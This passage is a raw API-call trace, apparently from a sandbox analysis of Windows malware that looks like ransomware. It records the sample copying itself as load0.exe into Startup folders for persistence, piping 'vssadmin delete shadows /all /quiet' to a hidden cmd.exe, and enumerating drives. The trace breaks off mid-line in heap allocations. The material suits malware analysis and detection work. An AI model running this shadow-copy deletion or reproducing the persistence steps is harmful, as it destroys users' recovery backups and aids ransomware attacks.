"c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf94 [0285.612] ReadFile (in: hFile=0xf90, lpBuffer=0x214f020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x214f020*, lpNumberOfBytesRead=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0285.647] WriteFile (in: hFile=0xf94, lpBuffer=0x214f020*, nNumberOfBytesToWrite=0x3e600, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x214f020*, lpNumberOfBytesWritten=0x19fd90*=0x3e600, lpOverlapped=0x0) returned 1 [0285.651] ReadFile (in: hFile=0xf90, lpBuffer=0x214f020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x214f020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0285.651] CloseHandle (hObject=0xf94) returned 1 [0285.662] CloseHandle (hObject=0xf90) returned 1 [0285.662] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78be68 [0285.662] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78be68, Size=0x20) returned 0x7700c0 [0285.662] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bef8 [0285.662] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bef8, Size=0x20) returned 0x7700e8 [0285.662] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.662] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.662] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0285.662] lstrlenW (lpString="kernel32.dll") returned 12 [0285.662] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7700e8 | out: hHeap=0x730000) returned 1 [0285.662] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.662] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7700c0 | out: hHeap=0x730000) returned 1 [0285.663] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x214f020 | out: hHeap=0x730000) returned 1 [0285.667] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x7ce480 [0285.667] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x7de488 [0285.667] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd60 [0285.667] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd60, Size=0x20) returned 0x7700c0 [0285.667] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7700c0, Size=0x40) returned 0x742ad0 [0285.667] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x742ad0, Size=0x80) returned 0x7cd4a0 [0285.667] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7cd4a0, Size=0x100) returned 0x73e4c8 [0285.667] lstrlenW (lpString="") returned 0 [0285.667] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0285.667] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8c) returned 0x779088 [0285.667] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0xf90) returned 0x0 [0285.667] RegQueryValueExW (in: hKey=0xf90, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x7de488, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0285.667] RegCloseKey (hKey=0xf90) returned 0x0 [0285.668] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x779088 | out: hHeap=0x730000) returned 1 [0285.668] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0285.668] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0285.668] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73e4c8 | out: hHeap=0x730000) returned 1 [0285.668] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe", lpDst=0x7ce480, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe") returned 0x47 [0285.668] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7de488 | out: hHeap=0x730000) returned 1 [0285.668] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ce480 | out: hHeap=0x730000) returned 1 [0285.669] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x100000) returned 0x2140020 [0285.671] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd60 [0285.671] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd60, Size=0x20) returned 0x770188 [0285.671] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd60 [0285.671] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd60, Size=0x20) returned 0x7700e8 [0285.671] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.671] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.671] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0285.671] lstrlenW (lpString="kernel32.dll") returned 12 [0285.671] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x770188 | out: hHeap=0x730000) returned 1 [0285.671] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.671] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7700e8 | out: hHeap=0x730000) returned 1 [0285.671] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf90 [0285.671] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.672] CloseHandle (hObject=0xf90) returned 1 [0285.672] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bdc0 [0285.672] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bdc0, Size=0x20) returned 0x770110 [0285.672] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78be68 [0285.672] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78be68, Size=0x20) returned 0x76fe90 [0285.672] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.672] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.672] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0285.672] lstrlenW (lpString="kernel32.dll") returned 12 [0285.672] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76fe90 | out: hHeap=0x730000) returned 1 [0285.672] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.672] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x770110 | out: hHeap=0x730000) returned 1 [0285.672] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2140020 | out: hHeap=0x730000) returned 1 [0285.689] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ad468 | out: hHeap=0x730000) returned 1 [0285.689] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd470 | out: hHeap=0x730000) returned 1 [0285.689] lstrlenW (lpString="%windir%\\System32") returned 17 [0285.689] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x742728 | out: hHeap=0x730000) returned 1 [0285.689] lstrlenW (lpString="%appdata%") returned 9 [0285.690] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x76fe68 | out: hHeap=0x730000) returned 1 [0285.690] lstrlenW (lpString="%sh(Startup)%") returned 13 [0285.690] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x770048 | out: hHeap=0x730000) returned 1 [0285.690] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0285.690] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x742698 | out: hHeap=0x730000) returned 1 [0285.690] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd60 [0285.690] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd60, Size=0x20) returned 0x76ff30 [0285.690] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76ff30, Size=0x40) returned 0x742890 [0285.690] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x742890, Size=0x80) returned 0x7cd858 [0285.690] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd60 [0285.690] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd60, Size=0x20) returned 0x7701d8 [0285.690] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1fffc) returned 0x7ad468 [0285.690] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x7ce480 [0285.691] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xfffe) returned 0x7de488 [0285.691] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bef8 [0285.691] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bef8, Size=0x20) returned 0x76fff8 [0285.691] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76fff8, Size=0x40) returned 0x742698 [0285.691] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x742698, Size=0x80) returned 0x7cdc98 [0285.691] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7cdc98, Size=0x100) returned 0x73e4c8 [0285.691] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0285.691] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73e4c8 | out: hHeap=0x730000) returned 1 [0285.691] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x7ce480, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0285.691] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7de488 | out: hHeap=0x730000) returned 1 [0285.691] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ce480 | out: hHeap=0x730000) returned 1 [0285.692] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0xf94, hWritePipe=0x19fd54*=0xf98) returned 1 [0285.692] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0xf9c, hWritePipe=0x19fdc4*=0xfa0) returned 1 [0285.692] SetHandleInformation (hObject=0xf98, dwMask=0x1, dwFlags=0x0) returned 1 [0285.692] SetHandleInformation (hObject=0xf9c, dwMask=0x1, dwFlags=0x0) returned 1 [0285.692] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf94, hStdOutput=0xfa0, hStdError=0xfa0), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0xfa8, hThread=0xfa4, dwProcessId=0x2740, dwThreadId=0x26f8)) returned 1 [0285.702] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0285.702] WriteFile (in: hFile=0xf98, lpBuffer=0x7cd858*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x7cd858*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0285.702] CloseHandle (hObject=0xfa8) returned 1 [0285.702] CloseHandle (hObject=0xfa4) returned 1 [0285.702] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7ad468 | out: hHeap=0x730000) returned 1 [0285.703] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0285.703] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7cd858 | out: hHeap=0x730000) returned 1 [0285.703] lstrlenW (lpString="%comspec%") returned 9 [0285.703] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7701d8 | out: hHeap=0x730000) returned 1 [0285.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa4 [0285.703] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78bdc0 [0285.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x78bdc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa8 [0285.704] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778ca0 [0285.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x778ca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb0 [0285.704] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd60 [0285.704] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd60, Size=0x20) returned 0x770048 [0285.704] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x770048, Size=0x40) returned 0x742ad0 [0285.704] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0285.704] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xd0) returned 0x74c9f0 [0285.704] GetLogicalDrives () returned 0x4 [0285.704] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10014) returned 0x7ad468 [0285.705] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd60 [0285.705] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78bd60, Size=0x20) returned 0x7700e8 [0285.705] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7700e8, Size=0x40) returned 0x742728 [0285.705] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x742728, Size=0x80) returned 0x7cde30 [0285.705] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7cde30, Size=0x100) returned 0x73e4c8 [0285.705] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x73e4c8, Size=0x200) returned 0x76d7a0 [0285.705] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76d7a0, Size=0x400) returned 0x7bd488 [0285.705] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7bd488, Size=0x800) returned 0x7bd488 [0285.705] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7bd488, Size=0x1000) returned 0x7bd488 [0285.705] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7ce480 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78bd60 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78be68 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x778cb0 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78bef8 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x778e00 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bdd8 [0285.706] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x778e00, Size=0x8) returned 0x778dc0 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c108 [0285.706] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x778dc0, Size=0x10) returned 0x78c120 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c1f8 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c0a8 [0285.706] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x78c120, Size=0x20) returned 0x76ffa8 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bfb8 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778d00 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe) returned 0x78c210 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe) returned 0x78c198 [0285.706] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x76ffa8, Size=0x40) returned 0x742698 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe) returned 0x78c168 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe) returned 0x78c0c0 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe) returned 0x78c228 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe) returned 0x78c000 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c150 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c1c8 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778cc0 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c048 [0285.706] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x742698, Size=0x80) returned 0x7cdb00 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c1e0 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c180 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c0d8 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c030 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bf40 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78bf58 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c018 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778d20 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c0f0 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bf70 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78c120 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c060 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78c138 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c1b0 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78bf88 [0285.706] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bfa0 [0285.707] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7cdb00, Size=0x100) returned 0x73e4c8 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c078 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bfd0 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78bfe8 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78c2e8 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c360 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c3d8 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778dc0 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c378 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c390 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c3f0 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6) returned 0x778dd0 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c2a0 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c258 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778d10 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c3c0 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c240 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x78c3a8 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c270 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c288 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c2b8 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xe) returned 0x78c2d0 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c300 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x78c318 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c330 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x78c348 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x76e9c8 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bec10 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778d70 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bec28 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bec58 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bead8 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7beaf0 [0285.707] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x73e4c8, Size=0x200) returned 0x76d7a0 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bec40 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778c70 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bebb0 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bec70 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7beb08 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7beb20 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7beb68 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7beb80 [0285.707] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7beac0 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7beb98 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7beb38 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7beb50 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7bebc8 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bebe0 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7bebf8 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be4c0 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be688 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be4d8 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be520 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be5c8 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be5f8 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be580 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be598 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778cd0 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be5b0 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be610 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be790 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x8) returned 0x778d30 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be7a8 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc) returned 0x7be4f0 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be640 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be730 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be5e0 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be550 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 0x7be568 [0285.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa) returned 